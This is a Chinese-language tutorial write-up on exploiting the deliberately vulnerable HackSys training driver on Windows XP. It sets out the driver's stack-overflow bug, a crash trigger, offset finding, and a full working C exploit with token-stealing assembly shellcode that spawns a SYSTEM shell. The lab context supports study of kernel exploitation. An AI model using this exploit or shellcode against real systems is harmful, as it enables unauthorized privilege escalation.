Windows Kernel Exploit Study(1)

0x00:

之前在一个小群里joker师傅给大家推荐了一波Windows Kernel Exploit，这个入门级的windows kernel pwn的资料，正好跟着学习一下内核相关的知识。

0x01: 环境

1. 所用系统说明

物理机 ：windows10
虚拟机 ：xp sp3 cn

2. 过程中用到的工具

Visual Studio 2010
Windbg
ProcessExplorer
osrloaderv30

0x02: 前期准备

首先是双机调试和驱动加载的问题。
双机调试的话，首先修改xp的boot.ini文件，该文件在：C:\boot.ini。添加调试相关的选项，为了方便，我直接加了一个启动项，如图：

然后在vmware里给xp虚拟机加一个串口就可以了，配置如下图：

然后，进入windbg，选择：File–Kernel Debug，选中COM栏，填写相应的管道的信息，然后就可以开始调试了。

想要断下来然后单步可以直接：Debug———Break，这样就可以断下来了。

之后使用osrloaderv30工具去加载目标驱动。

0x03: 分析

开始只是准备尝试下最简单的Stackoverflow vuln去提权，关于这部分，驱动的源码如下：
这里只贴出来派遣例程部分的代码，漏洞很明显，内核里直接使用了用户层传进来的size进行拷贝工作，而没有做任何的check，导致栈溢出。

NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
        // there will be no overflow
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        DbgPrint("[+] Triggering Stack Overflow\n");

        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

我们可以写一个demo去触发这个漏洞，然后使用Token替换的思路去提权。
根据WEK.pdf的例程，demo如下：

// bof_demo.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#include <TlHelp32.h>

#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_NEITHER,FILE_READ_DATA | FILE_WRITE_DATA)
//#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW   CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

int _tmain(int argc,_TCHAR* argv[]){

	DWORD lpBytesReturned;
	PVOID pMemoryAddress = NULL;
	PULONG lpInBuffer = NULL;
	LPCSTR lpDeviceName = (LPCSTR) "\\\\.\\HackSysExtremeVulnerableDriver";
	SIZE_T nInBufferSize = 768 * sizeof(ULONG);
	//SIZE_T nInBufferSize = 1024 * sizeof(ULONG);

	printf("[*]Getting the device handle\r\n");
	HANDLE hDriver = CreateFileA(lpDeviceName,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("[*]Failed to get device handle : (0x%X\r\n)",GetLastError());
		return 1;
	}

	printf("[*]Got the device Handle : 0x%X\r\n", hDriver);
	printf("[*]Allocating Memory For Input Buffer\r\n");
	lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nInBufferSize);

	if (!lpInBuffer) {
		printf("[*]HeapAlloc failed :(0x%X\r\n)",GetLastError());
		return 1;
	}

	printf("[*]Input buffer allocated as 0x%X bytes.\r\n",nInBufferSize);
	printf("[*]Input buffer address : 0x%p\r\n",lpInBuffer);
	printf("[*]Filling buffer with A's\r\n");


	//char *data = "junk for get bof length....";

	//memcpy(lpInBuffer,data,nInBufferSize);

	RtlFillMemory((PVOID)lpInBuffer, nInBufferSize, 0x41);
	printf("[*]Send IOCTL request\r\n");

	DeviceIoControl(hDriver,
		HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
		(LPVOID)lpInBuffer,
		(DWORD)nInBufferSize,
		NULL,
		0,
		&lpBytesReturned,
		NULL);

	printf("[*]IOCTL request completed,cleaning up da heap.\r\n");
	HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);

    return 0;
}

这段代码也很简单，自定义的buffer和size，然后传递给目标驱动的Stackoverflow的派遣例程。

0x04: 过程

下面就可以开始先去确定bof的长度了，使用kali下的pattern_create和pattern_offset工具，他们的路径在kali2下是：/usr/share/metasploit-framework/tools/exploit。

修改上述源码部分：

char *data = "result of ./pattern_create.rb -l 3506";
memcpy(lpInBuffer,data,nInBufferSize);

重新编译demo_bof，然后运行。

崩溃了，eip被覆盖成了junk字符，然后确定偏移：

payload应该是：2080 bytes + sc addr

经典的TokenStealingShellcode如下：

构造出来的exploit如下

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#include <TlHelp32.h>

//#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,\
	METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)

#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,\
	METHOD_NEITHER, FILE_ANY_ACCESS)

#define KTHREAD_OFFSET  0x124
#define EPROCESS_OFFSET 0x044
#define PID_OFFSET		0x084
#define FLINK_OFFSET	0x088
#define TOKEN_OFFSET	0x0c8
#define SYSTEM_PID      0x004

VOID TokenStealingShellcodeWin() {
	__asm {
		pushad

		mov eax,fs:[KTHREAD_OFFSET]
		mov eax,[eax + EPROCESS_OFFSET]

		mov ecx,eax
		mov ebx,[eax + TOKEN_OFFSET]
		mov edx,SYSTEM_PID

		SearchSystemPID:
		mov eax,[eax + FLINK_OFFSET]
		sub eax,FLINK_OFFSET
		cmp [eax+PID_OFFSET],edx
		jne SearchSystemPID

		mov edx,[eax + TOKEN_OFFSET]
		mov [ecx + TOKEN_OFFSET],edx

		popad
        
		;recovery
		xor eax,eax ;set NTSTATUS SUCEESS
		add esp,12  ;fix stack
		pop ebp
		ret 8
	}
}

int _tmain(int argc,_TCHAR* argv[]){

	DWORD lpBytesReturned;
	PVOID pMemoryAddress = NULL;
	//PULONG lpInBuffer = NULL;
	LPCSTR lpDeviceName = (LPCSTR) "\\\\.\\HackSysExtremeVulnerableDriver";
	//SIZE_T nInBufferSize = 1024 * sizeof(ULONG);

	printf("Getting the device handle\r\n");
	HANDLE hDriver = CreateFileA(lpDeviceName,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
		NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		printf("Failed to get device handle : (0x%X\r\n)",GetLastError());
		return 1;
	}

	printf("Got the device Handle : 0x%X\r\n", hDriver);
	printf("Allocating Memory For Input Buffer\r\n");
	/*
	lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nInBufferSize);

	if (!lpInBuffer) {
		printf("HeapAlloc failed :(0x%X\r\n)",GetLastError());
		return 1;
	}


	printf("Input buffer allocated as 0x%X bytes.\r\n",nInBufferSize);
	printf("Input buffer address : 0x%p\r\n",lpInBuffer);
	printf("Filling buffer with A's\r\n");
	*/


	//RtlFillMemory((PVOID)lpInBuffer, nInBufferSize, 0x41);
	printf("\t[*]Payload is at : %p\n", TokenStealingShellcodeWin);
	//junk's length is 2080
	CHAR *chBuffer = (CHAR*)malloc(2084);
	printf("\t[*]Buffer is at : %p\n", &chBuffer);

	memset(chBuffer, 0x41, 2048);
	memset(chBuffer + 2048, 0x42, 32);
    //set eip
	chBuffer[2080] = (DWORD)&TokenStealingShellcodeWin & 0x000000FF;
	chBuffer[2080 + 1] = ((DWORD)&TokenStealingShellcodeWin & 0x0000FF00) >>8;
	chBuffer[2080 + 2] = ((DWORD)&TokenStealingShellcodeWin & 0x00FF0000) >> 16;
	chBuffer[2080 + 3] = ((DWORD)&TokenStealingShellcodeWin & 0xFF000000) >> 24;

	printf("Send IOCTL request\r\n");

	DeviceIoControl(hDriver,
		HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
		chBuffer,
		2084,
		NULL,
		0,
		&lpBytesReturned,
		NULL);

	system("cmd.exe"); //get shell
	printf("IOCTL request completed,cleaning up da heap.\r\n");
	//HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
	CloseHandle(hDriver);
    return 0;
}

重新编译后运行exploit程序。
因为我这个xp在安装的时候没有装whoami工具，所以在看我使用了ProcessExplorer来看新启动的cmd的权限信息。
在运行exploit之前

运行exploit

成功拿到最高权限。

0x05：关于shell code的分析

想要分析shellcode是如何工作的，直接在它最前面加一个int 3然后重新编译，再把exploit跑起来，windbg里分析就好了。
前面说到这个获取token要找到EPROCESS结构。

然而windows有个API PsGetCurrentProcess可以获取包含EPROCESS结构的process对象。
反汇编看下这个API的实现：

使用dt -b -v _EPROCESS查看EPROCESS结构。

之前在shellcode中看到的一些数据的定义，都可以在这里找到。
下面来分析我们这段shellcode的工作。

单步

至此，获得当前进程的EPROCESS结构指针保存在ecx待用。
下面进入循环寻找SYSTEM_PID,然后获取其token：

这个循环跑的次数挺多，我直接下断跳出循环接着分析，这里来到token替换的部分：

之后直接popad弹出之前保存的寄存器的值，然后回到原来的代码去执行，这个时候我们的进程(demo_bof)的token已经是system进程的token了，这个时候直接起一个cmd，就可以得到一个最高权限的shell了。

这个时候F5，虚拟机那边就已经起来一个system32的cmd了。

0x06: 参考与引用

Windows Kernel Exploit
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